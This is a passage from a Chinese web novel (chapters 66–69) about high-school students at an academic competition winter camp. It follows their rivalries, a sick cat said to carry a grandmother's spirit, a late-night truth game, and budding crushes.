生活就像一盒怪味糖,不吃到最后永远不知道还会有什么恶心人的口味出现。
正式开始冬令营生活后,盛逸已经被生活一环又一环的招数弄得没招了,每天都无比懊恼。
他一日三省己身:为什么小时候不坚持把奥数班上下来。
退一万步说,初三时选拔数学竞赛省队成员的时候,他也应该努力试试的。
再退一万零一步,他爸当初顶着他妈的高压还要死谏将他的奥数课换成足球课也是居心难测。十年过去了,不仅数学没有退出高考,中国男足也没踢出过亚洲。
可惜黑发不知勤学早,见了黄毛方悔读书迟。
否则,现在数学竞赛组里出现他的一席之地也难说。
眼见让个别人找准机会……成天黏在队伍里,嗡嗡叫个不停。
好像是个人就可以借着数赛的名义缠着应琮问东问西,别说本身就不爱理人的应琮了,就连旁观的盛逸也实在看得心烦,偏偏他还真是听不懂一点。
况且应琮此猫脸皮太过于薄,又念及同学旧情,不然早就摆出面对他的冷傲态度逼退学弟。
“他怎么又跟来了?你也不阻止一下?”
斜睨一眼同样和自己坐在一边的裴少言,盛逸充满怨念地皮笑肉不笑、声动嘴不动。
好不容易捱到上午的训练都结束,他自然马不停蹄地按照大家约定好的时间和地点来到食堂。
谁成想,早有人占好了应琮旁边的位置,甚至还别有用心地在唯一空着的座位上放满了书包,害他想要坐过去都找不到借口。
本来有一个裴少言就够烦的,这种无端端打扰他和同桌建立友谊的生物能不能滚远一点。
“这可不是我能决定的。”
裴少言已经打好了饭,慢条斯理地将菜送入口中后,也顺着他的目光看去。
距离他们不远处的座位,王子蘩正眉飞色舞地说着什么,逗得应琮和时满情不自禁地露出笑容。
显然她也买账。
三人看起来十分融洽和乐,氛围和这边截然不同。
“那个人也真是的,”盛逸愤愤地掰开一次性筷子,“凭空冒出来,装出一副很热络的样子,什么事都要跟着。”
同为男生,大家就别装千年聊斋了。对方打得什么算盘他再清楚不过,奈何应琮偏偏看不透,聪明的脑袋在这时候缺根筋。
“你前两天又不是不在场。”裴少言难得多话。
两个人虽然之前多有不对付,但如今面对王子蘩这一“不速之客”,诡异地统一了立场、共同对外,现在也能心平气和地说上几句话。
多少有点同病相怜的意味。
听到他的话,盛逸扒了一口饭,回想那天发生的情形。
王子蘩,绿茶。
*
白杨树下,树影染上红色,现在已是日暮时分。
入营仪式结束后,来自各个学校的师生陆陆续续从报告厅中走出来,应琮他们也不例外,找了处空地准备商量大家晚上吃什么。
几人很快默契地分好了工,时满和盛逸在各个软件上搜罗周围的餐厅,应琮和裴少言则负责联系两位老师。
值得庆幸的是,虽然许文言事先说可能会收手机,但也只有每天训练和比赛时需要暂时交给负责的老师,结束后照样发还。
真要论起来,其实比他们在学校时还要宽松。
正讨论美食中,应琮的手机忽然响了,她低头看了一眼,表情变得古怪。
“不好意思,我去旁边接下电话。”
说罢,她快走几步,站在离众人有一段距离的树下,接起电话后不久,脸上出现凝重之色。
“难道是有什么急事?”
盛逸知晓她社会关系简单,除了身边的人,一般没有谁能令她露出这样的表情,不禁有些担心。
“不会吧,”时满拿着手机抬起头,理智地分析道,“只是简单一个电话而已,不要往坏处想。”
“但是……”
没什么事为什么会露出那样的神色呢?
他开口有些迟疑,意外撞上裴少言的眼神,他显然也注意到了应琮的不对劲。
最后,盛逸把话咽回去,什么也没说,继续手头的事情。
“你们选好要吃什么了吗?”
不一会儿,接完电话的应琮走了过来,语气倒是很轻松,没事人一样。
“因为老师们说都可以,时满最后选出来三家,”盛逸道,“我让她直接发群里吧。”
末了,他看向应琮,还是问出了口。
“你……没事吧?”
他不在意应琮可能会冷脸,也不遮掩自己的关心,问得直白而又莽撞,时满和裴少言几乎是立即转脸看去。
应琮也愣了一瞬,转而轻轻笑了。
“我有什么事?”
她抬眸看着眼前的朋友们,眼神柔和,语气也和平时无异。
“没事就好,那你挑一个自己喜欢的餐厅吧。”
时满生性乐观,本就没有往糟糕的地方想,见她面色如常,放下心来,将自己的手机递了过去。
应琮看了一眼,随手指了指排在页面中间的餐厅。
“许老师他们还要再开一会儿会议,让我们先去。”盛逸看到群里的信息,习惯性组织活动道,“那我们就出发吧!”
“应琮学姐。”
话音刚落,盛逸就听见自己后面传来熟悉的、讨人厌的声音。
不用回头他也知道,王子蘩来了。
盛逸的脸色在其他人看不见的地方瞬间垮了下去。
“子蘩,”应琮客客气气地开口,“有什么事?”
王子蘩双手交叉自然垂落在身前,和之前见面时的完美笑容不同,此时他面上浮现出不好意思。
“学弟,你有什么事麻烦快点说,天色也不早了,我们准备要去吃饭。”
也许是受首因效应的影响,盛逸从第一次见面就不喜欢他。
明明年纪也不小了,还扭扭捏捏,格外造作的样子,他最烦这种男的,所以面对王子蘩,也完全说不出什么好话来。
应琮没对他的态度做出什么反应,倒是时满挑了挑眉,有些意外。
“不好意思,我想说的就是吃饭的事情……”
王子蘩先是看了一眼盛逸,低了低头,又看向应琮,他肤色白,眼下竟然能看出有些羞赧的粉。
“学姐,这里只有我是一个人来的……”
对比起冷淡的裴少言和看起来不太友善的盛逸,他显得比较内向腼腆。
“人生地不熟的,我能不能跟着你一起……”
“不行!”
盛逸的拒绝脱口而出。
众人的目光瞬间集中在他的身上,应琮细眉微挑。
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“咳,”盛逸欲盖弥彰地清清嗓子,“我的意思是,我们也人生地不熟……”
说着说着他意识到不对劲,自己似乎抓错了重点,连忙悬崖勒马。
“主要是,我们毕竟不是一个学校的,你跟着我们,也容易尴尬。”盛逸道,不忘回看应琮,希望能得到对方的支持。
“抱歉师哥,只是我一个人吃饭都只能点一个菜……”
王子蘩嘴上跟他道歉,眼神却直直地看着应琮,仿若落水之人面前出现唯一的稻草般。
被这两个人同时盯着,应琮目光游离。
时满和裴少言在一边,同样不知如何开口才好。
“学姐……”沉默间,王子蘩忽然往后退了一步,抿了抿唇。
“是我提了过分的要求,让你为难了。”
“不是这个意思,”见此情形,应琮倍感头痛,“但……”
她从来没见过盛逸如此不好客的样子,一时有点意外。
应琮也不知道自己该怎么办才好了。
“我不会一直缠着你们的。至少在开始的几天,让我跟着你们一起行动,行吗?”
被学弟这样看着,又听他这么一说,应琮本就不擅长应对这种局面,最终还是点了头。
她都这样答应了,即使盛逸犹有忿忿然,还是忍了。
于是,王子蘩便跟在他们几人身边,一起参加了聚餐。
*
好不容易打发走缠人的学弟,应琮低头看了一眼手机。
锁屏壁纸是一只通体黑色的猫咪,黄铜色的眼眸炯炯有神。
她眉心微蹙,脸上一闪而过的凝重。
“有心事?”
坐在旁边的时满开口问。
“……家里的小猫生病了,不知道严不严重。”
沉默着,她还是说出了口。
闻言,时满的表情也变了。
和应琮认识那么久,她自然知道对方是多么喜欢猫咪。
应琮的书包里专门有一个夹层里放着封装好的猫粮,校园里常常有流浪猫神出鬼没,她就会专门将猫粮倒在固定的区域,方便它们填饱肚子。为了能够顺利帮助校内的流浪猫完成绝育,一贯不喜欢在学校内出风头的她,却连续两年作为一中爱猫社团捐款榜的第一名,为人所津津乐道。
这是发自内心的情感,绝不是叶公好龙般的伪饰。
“那阿姨怎么说?”时满关切道。
应琮摇了摇头,“她说没什么大事。”
其实她害怕的不仅是咪咪的身体健康,更担心的事情,又没有办法付诸于口。
裴少言外婆的灵魂还在咪咪身上,如果咪咪出了意外,她害怕裴奶奶也会就此消失。许多事情,她还处于云里雾里的状态,对方拜托自己的事情,她也还在努力。
妈妈并不知道其中的弯弯绕绕,动物医院的医生也并不了解咪咪体内的玄机。
只有她知道,但她又是被动的。
只有裴奶奶主动托梦给她,应琮才能够与之对话;否则,她们之间也是鸡同鸭讲。
想着想着,应琮不自觉地叹了口气,眉宇间笼上一层化不开的忧愁。
她最近变得格外好脾气,连王子蘩问她的一些疑难怪题也都慷慨回答,就是希望可以为咪咪小积阴德。
那天突如其来的电话,现在回想起来,依旧吓人。
67. 第 67 章
入营第一天的傍晚,点点归鸦从天边飞掠。
旁边的同伴们还在商议着等下晚餐吃什么,应琮的手机忽然发出震动和声响。
低头看去,竟然是一个意想不到的人来电。
李珩,二人自从之前为了还伞钱加上了微信后,从来没有聊过天,甚至就连点赞之交都算不上。
冷不丁的看到他纯白的头像和发来的语音通话邀请,应琮的心里莫名闪过一丝不安。
“你好?”
她来到僻静处,接通了语音。
“你好,”李珩平静的声音隔着手机传来,“因为阿姨现在无法抽身,所以我打电话给你。”
“……什么?”应琮头脑顿了一瞬,反应过来后喉间一紧,“和我妈妈有关?”
“不是,”那边环境很安静,李珩冷凝的音色清晰穿越听筒,“是小猫,你们家咪咪刚刚突然呕吐,倒在地上浑身抽搐,阿姨吓了一跳,现在她们一起去医院了。”
“我妈妈让你告诉我?”
应琮先是反问他,语气有一丝古怪。
咪咪一向身体健康,而出了这样大的事情,妈妈居然不是第一时间打电话给自己,而是委托一个客人?
学校都已经放寒假了,这人还专门去饺子店里吃饭……
“当然,”李珩忽然意味不明地笑了几声,语气陡然变得有些低沉,“你该不会是怀疑是我害了咪咪吧?”
“……我没有这个意思。咪咪现在情况如何了,你知道吗?”
就算是真的心有怀疑,应琮也不会傻到去承认。
似乎是猜到她心中所想,李珩不急不缓地继续开口。
“情况应该还好。”他先回答,然后才解释,“我寒假的补习班恰好在附近,所以经常去吃饭。刚刚的突发状况与我无关。”
“我是擅自作主通知你的,如果因为这个举动,你就对我产生怀疑,那我觉得有些不舒服。”
他的语气里并没有透露出多少厌烦的情绪,但应琮还是从对方平静的声音里感受到了冷淡。
“抱歉。”
她老老实实地道。
自己应该改掉下意识妄加猜测的毛病。
“没关系,”李珩自然地回道,话锋一转,像是两个人没有隔阂一般,“都已经这么晚了,我上课的时间就要到了。”
“如果你不相信……或者担心的话,可以去打电话问问阿姨。”他说。
“不过友情提醒,她现在或许没时间接你的电话。”
应琮还没来得及开口,语音通话便戛然而止。
她盯着两个人空荡荡的聊天页面,皱了皱眉头。
李珩的话仿佛还在耳边响起,应琮指尖在通讯录停留片刻,点开了聊天软件,快速编辑好信息发给妈妈。
再次抬头,不远处的裴少言映入她的眼帘。
他一身灰黑色的卫衣,依旧是那副冷清疏离的样子,在人群中显得格格不入。
应琮心念微动,咬唇不语。
咪咪……或者是裴奶奶,对方的突然生病,会不会和他有关?
*
一直到那天聚餐结束,应雨柔才迟迟发来回复,附上了咪咪在医院的病历单和X光片。
“医生说没什么大碍,可能是吃东西的过程中不小心呛到了,以后喂食的时候多注意就好。”
怕女儿会担心,应雨柔还特意打来视频电话,专门让趴在地上玩玩具的咪咪出镜。
吃饭被呛到?
应琮在宿舍里无声地叹了口气。
也不知道一个老人家附身在这一只笨猫上,一天天有多无力。
“对了妈妈,”她想到晚饭前李珩的话,依然有些在意,不禁迂回问道,“寒假是不是没什么客人了?”
“客流量的确少了,很轻松的,偶尔有一些住在附近的常客捧场,”应雨柔因为女儿只是关心自己,顺着说了一下最近的生意,“还有读之前你那个学校的小珩,他也每周都来店里吃饭,好像说找了一中的老师补课,人可乖了。”
“要不是……你俩现在说不定还是同学。”
“李珩比我小吧,”应琮听她语气如常,便接下话头,“充其量只是学弟。”
“说起学弟,我在这里也遇到了初中的一个学弟。”她简单提了几句王子蘩,也不知道妈妈对他还有没有印象。
“社团里的吗……”应雨柔的记忆模模糊糊,“高高的?瘦瘦的?偶尔会戴眼镜?”
“……你的描述可以匹配我们初中百分之四十以上的男生。”应琮无奈,“算了,反正我就是跟你说一声。”
“李珩就不长那样?”不知怎的,应雨柔又将话题绕回到李珩身上,“而且人家只比你小了不到两个月,他十一月多出生的。”
“你怎么连生日都知道了?”应琮吃了一惊。
李珩绝对不是会主动透露个人信息的性格。
“妈妈……”她拖长了语气,语重心长,“你可不要在人家来吃饭的时候问东问西的啊。”
“也没有问东问西啊,”应雨柔坦然,“简单聊聊罢了。”
“太没有社交边界感了吧!”应琮吐槽。
不做地下工作可惜了。
不过也难怪目睹了咪咪的突发状况后,人家一个内向男孩会主动打破沉默,给她来电。
母女俩又聊了一会儿,应琮见时满已经披着毛巾从浴室出来,再看看时间也不早了,便和妈妈说了晚安。
房间里拉着窗帘,将漆黑的夜色和寒气一并隔绝在外。
“那我关灯了。”
按照二人约定好的时间,时满说罢,伴随着残存的灯光熄灭,动作轻轻地回到自己的床上。
躺在自己床上的应琮睁着眼睛,天花板是朦胧的白色,四周是幽蓝。
她忽然回想起之前裴奶奶的嘱托,因为时满对裴少言很重要,所以对方希望自己和时满也保持紧密的联系。
应琮听到下铺传来窸窸窣窣的声音,想来时满初来乍到,处在一个陌生的环境里,或许也在辗转反侧,难以入睡。
“时满,”她斟酌着,“我们要不要玩个游戏。”
“什么游戏?”
时满果然没睡意。
“每个人都可以问对方三个问题,被提问的人要如实回答。”应琮道。
当务之急是搞清楚时满现在对裴少言的态度如何。
“问什么都可以吗?”
时满的语气变得和平常不太一样,听在耳朵里很微妙。
“当然。”应琮自诩君子坦荡荡,她不担心会有自己答不上来的问题。
“好,”时满似乎笑了笑,尾音像是个小钩子轻轻上扬,“谁先问?”
“都可以,”应琮在黑暗里顿了顿,“我先?”
“嗯,问吧。”时满又笑,“什么都可以。”
“……对于你而言,什么是‘朋友’?”
没想到应琮会问如此温和而又宽泛的问题,时满反倒思考了一会儿。
“志同道合,兴趣相投。”末了,她又补充道,“比如说我和你。”
应琮:“
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那裴少言是你的朋友吗?”
还好是在黑夜,她们都看不见彼此的表情,这样也就不会尴尬。
“……是啊。”时满顿了顿,“他符合志同道合的标准。”
听着她的答案,应琮松了一口气。
还好时满没说他们只是普通的同学关系。
“最后一个问题了,”时满见她没吭声,主动提醒道,“你不问一些……的?”
她还是没将那个词说出口。
“你对裴少言这个人,作何评价?”
应琮还是按照自己预想的问题继续往下。
“应琮,”时满难得开了个玩笑,“你该不会要把今晚聊的东西,明天偷偷告诉他吧?”
“怎么会?”应琮道,“我会对今晚发生的所有,守口如瓶。”
“好,我相信你。”时满道。
“裴少言……”她的语气变得轻了些,在寒夜中格外清晰,“他和是一个和钛一样的人。”
“欸?”化学不太好的应琮一头雾水,“这是什么意思?”
她只知道“钛”大概是某种金属元素,但对其了解甚少。
“因为他很能抗压吃苦,又有很优秀的‘性能’。”时满解释道。
“而且钛在空气中燃烧时,会产生一种极其明亮的白色火焰,很像裴少言。”看起来冰冷又高傲,实际上内里的炽热能够灼伤所有人。
“那确实符合他。”
应琮大概能理解到这个抽象的描述,听起来她对裴少言的评价也不算差。
“是不是轮到我了?”
很快,时满的语气变得欢快起来。在听到应琮肯定的答复后,她便开始了自己的第一个问题:
“请用一个名词、一个形容词和一个动词来形容盛逸。”
“这算是什么问题?!”
应琮一骨碌从床上坐起来。
“是你说问什么都可以的,”时满笑,“快快回答。”
应琮在脑袋里搜刮了好一会儿,终于找出来三个形容贴切的词。
“狗、莫名其妙、笑。”
“听起来挺贴切。”时满很聪明地点到即止,并没有继续问下去。
“那么假设一个场景:如果周末的一天,阿姨在厨房忙碌,喊你帮忙递一个东西,而盛逸忽然打来电话;与此同时呢,咪咪还在因为饥饿连声喵喵喵,裴少言又突然按响了你家的门铃。如果一次只能做一件事,那么你做事的顺序是什么?”
时满一口气说了许多,甚至是绘声绘色的描绘出了一个日常场景。
应琮下意识地想起了小时候学奥数遇到的那些“如何合理安排时间”的题目。
“……先接通电话,然后去厨房帮忙;帮完忙顺便给咪咪倒点食物,最后走到玄关开门。”
虽然不知道这算什么题目,但应琮还是老老实实回答。
“好。”
时满意味不明地评价道,应琮忽然有些紧张。
最后一个问题了。
正在猜测中,时满的第三个问题轻飘飘地落了下来。
“应琮,你现在还有在喜欢谁吗?”
寒夜,寂静的室内,朦胧的视野。
她喜欢谁?
她还在喜欢谁?
那个谁是谁?
本该轻易回答的问题,名字到了唇边却有千钧之重,甚至有些犹疑不定。
应琮说不出来。
但她可以清晰听见自己胸腔里,心脏在“嗵嗵”地跳动。
一分钟仿若跳了一百二十下。
68. 第 68 章
盛逸这段时间对王子蘩的异常不友好是个人都能感觉出来。
而相较于将喜恶摆在脸上的盛逸,作为临时舍友的裴少言更多是将这份不爽隐藏在心底。
从小到大,他都非常缺乏和陌生同学共处一室的经验。
裴少言在第一天来到宿舍收拾好行李后,便委婉地表示了对安静氛围的需求。他不希望在训练之余的休息时间里,还无法享受片刻清静。
然而和在应琮面前表现出的不同,王子蘩回到宿舍就像是换了一个人,身上片刻不离智能手机——这正中裴少言的下怀。
一连几天,两个人始终保持着最基本的礼貌,客气而不失疏离。
待结束了白天的日程,夜色里能看见深黑的树影。
洗过澡后,裴少言坐在自己的书桌前,安静地写着什么。王子蘩则是半靠在自己的床上,低头玩着手机。
冷色调的宿舍里,空气也默默无声。
“铃铃铃”
一阵刺耳的电话铃声打破了这份寂静。
两个人同时抬头顺着声音看去,是门口处的座机电话发出的响声。
恰好王子蘩离电话最近,稍一停顿,便便利落地下床,拿起听筒。
“……你的电话。”
似乎有些意外,简单和对方说了几句,王子蘩示意裴少言过来接电话。
会是谁打来的电话?
裴少言的心中闪过一个猜测,接过听筒。
将听筒递给他后,王子蘩又重新回到自己的床上,眼神不时落到他的身上,闪烁着好奇。
“来到学校好几天,你就不会主动给我打电话?”
对面刚一开口,便是这样的态度,裴少言的眉宇间迅速凝起一层冰霜。
“有事?”
他用最简洁的话问。
“一切都安排妥当,能有什么大事,爸爸关心一下你。”
裴名呵呵笑了两声,即使裴少言态度再冷淡,他总能找回自己的父慈子孝剧本,自顾自热演。
在裴少言看来,这是一种让人望尘莫及的自欺欺人能力。
“怎么样,听说明天要进行第一场选拔赛。有没有好好准备?”
“想不到你还有空关心这个。”
裴少言的语气很淡,抬手就要摁掉通话。
像是猜到了儿子下一步的行动,裴名不慌不忙道:“别忘了你之前对我说过的。”
他语气里的压迫感伴随着电波不加掩饰地传来,裴少言嫌恶地闭上眼,深吸了一口气。
“没忘。”
他吐出两个字,旋即不等对方开口便挂断电话。
只要自己能够拿到竞赛金牌、顺利保送,他就可以获得相对的自由。裴名将不会再干涉他未来的个人选择,无论是大学的专业选择还是……感情上的选择。
裴名心思缜密,又唯利是图,即使自己从未想过与虎谋皮,即使裴少言可以放弃一切去跟他硬碰硬……
可是……这远远不够。
桌上摊开的习题只做了一半,倒映在玻璃窗上的树影覆在上面,像是一只巨大的黑手。
*
而另一边的宿舍里。
“你是死了吗?为什么这么多天也不发个信息,甚至连图片也不发,是不是比赛输了准备灰溜溜地打道回府?需不需要我去接你?”
刚一接通电话,丁一锐的连环问便袭击了盛逸的耳膜,他不得不把手机拿得离自己远了一点。
“能不能不要诅咒我?”
明天就要迎来第一场淘汰赛,虽然盛逸表面平静,其实还是有点紧张的,除了昨天,他已经做了几番噩梦。
而昨天……
他梦到了应琮。
似乎是想到了梦里的内容,盛逸屈肘捂住自己发烫的脸,有些不好意思。
他也不是笨蛋,对应琮几次三番的在意,根本不是对朋友的占有欲那么简单。
但他又的确不够聪明,不知道应琮怎么想的,也不知道该怎么做。
“好吧。”丁一锐听出来他的状态不好,语气轻松道,“那你说说这几天到了那边有什么感受,如果有什么憋屈的也说给哥们听听吧,我可以免费开导开导你。免得你被负面情绪压垮了,到时比赛失误。”
说到这个……盛逸还真是有一肚子话想说。
但,宿舍里并不只有他一个人在,还有另一个来自其他学校,同样参加地理竞赛的男生。
毕竟是要吐槽,盛逸随手抓起椅背上挂着的一件外套,拿着手机匆匆跑出宿舍。
夜晚冷风正盛,阵阵寒意顺着骨头往里爬,盛逸缩着脖子,将外套的兜帽套在头上,一个人坐在花坛边沿,开始和丁一锐吐槽王子蘩的所作所为有多离谱。
“……你知道的,我平时也不这样说其他人,更不是专门针对他这个人。实在是过分得看不过去了,才这样说他……”
“兄弟我懂。”
丁一锐没想到,自己关怀一下兄弟,竟然还有意外收获。
看来兄弟的冬令营之旅,是不会觉得无聊了。
有了好哥们的认同,盛逸憋屈许多天的情绪终于得到宣泄,他继续道,“我叫他绿茶那不是天经地义,人之常情吗?你要是在的话,肯定也会这样叫他。”
“当然当然。”
丁一锐很会提供情绪价值,只是他手头上一边操作电脑游戏,忘记去思考盛逸为什么这么讨厌一个疑似喜欢应琮的陌生人。
打完一局,丁一锐这才想起来,虽然冬令营之行中出现了王子蘩这个意外因素,可裴少言也在他们的队伍当中。
他不是应琮的暗恋对象吗?
“欸,对了,”丁一锐将话题兜回来,“你们也相处了那么多天,有没有发现001和应琮到底是什么情况?”
眼下多了个他不认识的绿茶,这三人岂不是三角关系?这下不得不八卦了。
听到这个,盛逸忽然沉默,半天之后才闷闷地开口。
“他们……可能不是我们原本以为的那样。”原本他们以为这俩人是单纯的落花有意,流水无情。
一度为应琮感到不值。
结果现在看来,在应琮面前,裴少言也并非完全的冰块,意料之外。
虽然他是不知道裴少言为啥会这么矛盾。
“哇塞,那你的意思是他们两情相悦吗?!”
丁一锐咋咋唬唬,游戏手柄也放下了,拿起手机专心研究同学的八卦。
“那你也不用替你同桌打抱不平了~”
兄弟无脑,盛逸憋了一口气,感觉心里想揍丁一锐的冲动前所未有的强烈。
他犹豫半晌,还是把自己的少男心事三言两语给他透露了。
狗头军师也是军师,主要是除他之外,自己也没
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人可以倾诉了。
丁一锐听完沉默了,本来想跟他说不好意思,结果一开口又不经过大脑。
“……那你以后岂不是要给001执妾礼?”
“……”
盛逸有时候想,丁一锐万一说话得罪人被报复了,他到底是要帮着报警还是帮着掩尸。
“你要当男小三吗,还是要撬墙角?”
“他们又没在一起!”原本还有些怅然的盛逸一听到这话,气得咬牙切齿,“墙都没建起来,我怎么能算是撬墙角?”
就知道,他也只是嘴上说说支持自己,实际上心里依然觉得应琮和裴少言更配。
怒!怒!怒!
“没错!”
好在,丁一锐的情商短暂地重新占领智商的高地,鼓励道。
“你还有机会。”
听到这话,盛逸没那么生气了,开始从应琮平时的表现中寻找蛛丝马迹来印证自己的想法。
“而且应琮每天都只和时满一个女生一起讨论数学,”他哼哼了两声,“恐怕现在她也不喜欢裴少言了。”
“也是,”丁一锐顺着他说,“女生的心思千变万化,一天一个样。可能应琮只是因为高一时和裴少言坐同桌,每天朝夕共处,所以才对他产生了朦胧的情愫。”
“那照你这么说,现在她的同桌是我。”
盛逸的眼睛忽然亮了,语气也飞扬起来。
这也能举一反三?
丁一锐忍下心里的吐槽,认真建议道,“反正应琮身边多的是花花草草、莺莺燕燕,如果你真要追求的话,我觉得你要表现得和别人不一样才行,这样才能脱颖而出。”
“明白了,”盛逸点头称是,“我看帖子说暖男受欢迎?我明天就去给她打热水怎么样?”
???
在电话那头的丁一锐感觉自己头顶多出了几条黑线。
如果盛逸不是他的好哥们,那他一定不阻止。
“现在到处都是饮水机,哪里用得着你去打热水?你看的是哪个年代的旧帖啊?”
缓了一会儿,丁一锐道。
“那我每天找她聊天呢?嘘寒问暖,关怀一下。”盛逸说,“还是说每天都给她送一束花?”
电视剧里不都是这样演的。
其实之前自己也给应琮送过花的。
想到教室里的那盆“丛丛”,盛逸忽然有点伤感。
“小心她嫌你烦把你拉黑,”丁一锐苦口婆心,“而且,老许不是还和你们一起吗,你就不怕她告家长?”
“……这也不行那也不行的,到底能做什么?”盛逸闷闷道。
何况应琮比丁一锐还不敏锐。
“如果指望着她能看懂我的心意,恐怕铁树都要开花了。”
“你还是先老实呆着吧,别弄巧成拙。”
想到应琮,丁一锐也忍不住叹气。
要是追女生也能像玩游戏一样,有好感度提示和触发事件就好了。
虽然和哥们一起商量了半天,也没有商量出一个所以然来,但盛逸原本还糟糕的心情纾解了许多。
明天,他一定要挤开王子蘩,坐在应琮旁边吃中午饭。
如果两个人还能聊上几句,那就更好了。
又一阵风吹来,独自呆在深夜里的盛逸这才后知后觉地感受到寒冷,瑟瑟发抖之余,不由得连续打了两个喷嚏。
69. 第 69 章
和盛逸聊完之后,丁一锐重新开了一局游戏,然后一边按键一边走神。他后知后觉意识到,自己的好哥们居然真到了春心萌动的年纪。
如此重要的事情,他岂能不伸出援手?
为了更好地帮他创造和应琮单独相处的机会,丁一锐脑筋一转,计上心来。
“飞阳,”他匆匆关掉游戏,给副班长发去信息,“你这个月的班级公众号想好主题了吗?”
一中为每个班都创建了独立的公众账号,更新时间和内容都由各班来决定,他们班的账号就是柳飞阳来负责管理。
“和之前一样吧。简单讲一下过去一个月班里发生了什么,然后把期末时评优评先的照片也放上去。”
毕竟是寒假,柳飞阳的回复很快。
“难道你有什么其他的打算吗?”
见对方一直在对话框里输入,信息迟迟没发过来,她问。
这个工作说白了没多少人会真心关注,因此柳飞阳也没为此费过多少心神,只是她这个人一向不嫌麻烦,如果丁一锐有什么好的idea,她也可以考虑采纳。
“呃,因为应琮和盛逸不是去参加冬令营了吗,虽然还没有开始决赛,但我觉得,无论最终得不得奖,他们也是我们班的荣耀。所以……我们可以把他们的照片也放上去。”
丁一锐编辑好信息,一股脑地将自己的打算发了过去,尽量表现得大公无私。
柳飞阳思考了片刻后,觉得小事一桩,欣然应允。
“那就这么说定了,”丁一锐十分高兴,“你去联系应琮,盛逸我跟他说就好!”
*
“你要和我一起去领试卷吗?”
下午的讲座结束后,时满看向应琮,两个人跟随着人流往外走。
她们上午刚做完的模拟卷,只一个中午就被改完了,老师在群里通知大家速速领回。
“不,”应琮的余光已经注意到了某个倚在门口的高大身影,“我等会要和盛逸去图书馆门前拍张照,班里要做公众号用。”
“好,”时满表示没关系,“那我过去,顺便把你的拿回来哦。”
“谢谢。”应琮跟她挥手告别。
盛逸终于在人群中发现二人,迈着大步走来。
他今天还倒腾了一下,特意穿了个白毛衣,加上他面容澄净,骨相俊逸挺拔,只要不说话,还是颇有校草风范的。
“走吧。”
他笑得很灿烂,冲应琮挑了挑眉。
久违的没有闲杂人等打搅,盛逸心里的高兴百分之八十都溢于言表了,还剩百分之二十是话不能说太满。
水满则溢,这是他姥爷教育他常用的话,后半句往往是让他少得瑟。
应琮点头,两个人往图书馆的方向走去,他们入营第一天就参观了图书馆,这也算是大学校园里的标志性地标建筑了,虽说二人还对路不太熟悉,可只要沿着钟楼的方向一直走就能到。
图书馆前有一个宽阔的广场,另一侧是伟岸庄严的钟楼。
应琮站在阶梯前,想起一个问题,忽然犯了难。
谁来给他们两个人拍照?
自拍照放到公众号里,虽然不是不行,但是会不会有些太随意了,她还是有点好学生包袱在身上的。
“我去找人来帮我们拍照吧。”
盛逸看穿了她的心思,先一步主动道。
话虽如此,但估计是大学里所有爱读书的人都聚集在附近了,大部分的人都是为了到图书馆里面学习,脚下生风、步履匆匆的样子让他不敢贸然上前打扰。
“你们是要拍照吗?”
好在大学生旁的不说,乐善好施还是很有口碑的,很快就有一个清脆的女声响起,解了他们燃眉之急。
应琮和盛逸同时看去,其实大学生也内向,眼前是凑了三四名穿着靓丽的女大学生才主动找他们要提供帮助,开口询问他们的,是站在最左边的红发女生。
“你们是来参加冬令营的学生吧,”红发女生笑眯眯的,很是热情,“每个来到这里的人,都会来图书馆门口拍照。”所以她们也算是见怪不怪了。
“那就麻烦你们了。”
既然如此,盛逸客客气气地将自己的手机递了过去。
应琮站在他的旁边,双手背在身后,面对镜头,露出一个浅浅的笑容。
虽然心里已经提前做了准备,但真当她站在自己旁边时,盛逸还是紧张得手都不知道该怎么放,心跳如雷。
幸好现在是冬天,厚厚的衣服阻隔了心跳声。
“两个人再靠得近一些,”作为摄影师的红发女生指挥道,“男生的头可以向旁边歪一点。”
盛逸飞速低头看了一眼应琮,见她毫无察觉,于是悄悄往她身边挪了小半步,冲着镜头抿唇矜持一笑,只不过耳朵染上薄红。
她的朋友们,看着面前两个乖巧如鸡的高中生,像是每一个看到校园的猫猫狗狗的大学生一样,当着人面就开始用夹子音窃窃私语起来:“好可爱啊,配的配的。”
两个青涩又懵懂的少年,似乎根本没有意识到自己的脸有多出众,他们只是站在一起就足够赏心悦目。
青春真好,天然无雕饰。
有摄影师指挥的话,应琮和盛逸也少了很多自己摆姿势的不自然,只是简单配合就收获了许多来自摄影师的赞美。
“我拍了很多张,你们回头可以再挑选。”
红发女生走了过来,将手机还给盛逸后,却又从口袋里掏出来自己的手机。
“妹妹,我可以和你合照吗?”她冲着应琮眨眨眼睛。
“呃,好的……为什么?”
应琮还是第一次听到这种请求。
游客怎么还享受到这待遇了?
“哈哈,因为我觉得你长得很像我养过的一只小猫,”红发女生眼眸笑得弯弯,“萌萌的,很可爱。”
哪有初次见面就把人比作猫的?应琮心说这简直太怪了。
其实因为基因表现不稳定,她小时候的眼睛和头发颜色比现在浅很多,加上眼睛大,的确有点儿像小猫。但随着一点点长大,她基本褪去了婴儿肥,也很少有人会这么形容她没想到现在竟然在意想不到的地方,再一次听到了同样的形容。
让应琮这个自我身份认同为人类的人类,有些许不适应。
待和对方拍完照后,他们和女大学生们道谢又告别,这才往宿舍公寓的方向走去。
“刚刚……忘记问会不会发朋友圈了。”
应琮看着脚下地砖的纹路,突然反应过来,她不仅有好学生包袱,还很有健全的自我隐私保护意识。
“嗯……应该不会发吧,又不是真在学校里遇到了萌猫。”盛逸中肯评价。
“你也跟着开玩笑。我哪里和‘萌’这个词沾边?”应琮撇嘴,把自己比作猫算物化吗?
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“我这是客观公正的评价,不是开玩笑。”盛逸自打昨天开始立志做一个暖男,立志要戒掉老逗她生气的毛病,眼下已经坚持四十分钟了。
他的确没瞎说,应琮怎么会不萌,分明萌得要命。
这已经是收敛百分之二十的评价了。
他显然已经忘记了,自己过去对应琮的印象还是拒人于千里之外的冰山大小姐。
“……很多人都认为我不好接近。”应琮抿了抿唇,回忆起自己过去被喊了六年的外号——
冰雪公主。
虽然这个外号听起来也不含多少恶意,甚至在《冰雪奇缘2》上映的时候还有不少小女孩羡慕她能加入艾莎安娜的队伍。
但只有应琮自己才能体会到,在这个活泼开朗的小孩更受欢迎的社会,冰雪公主其实隐含着冷漠、不善社交、高傲的潜台词。
更烦心的是,她也没法反驳,这外号取得挺贴切。
“我还是第一次听到有人用这个词来形容我。”
应琮声音轻轻,她也不是觉得“萌”这个词不好,只是觉得意外。
“很意外吗?”
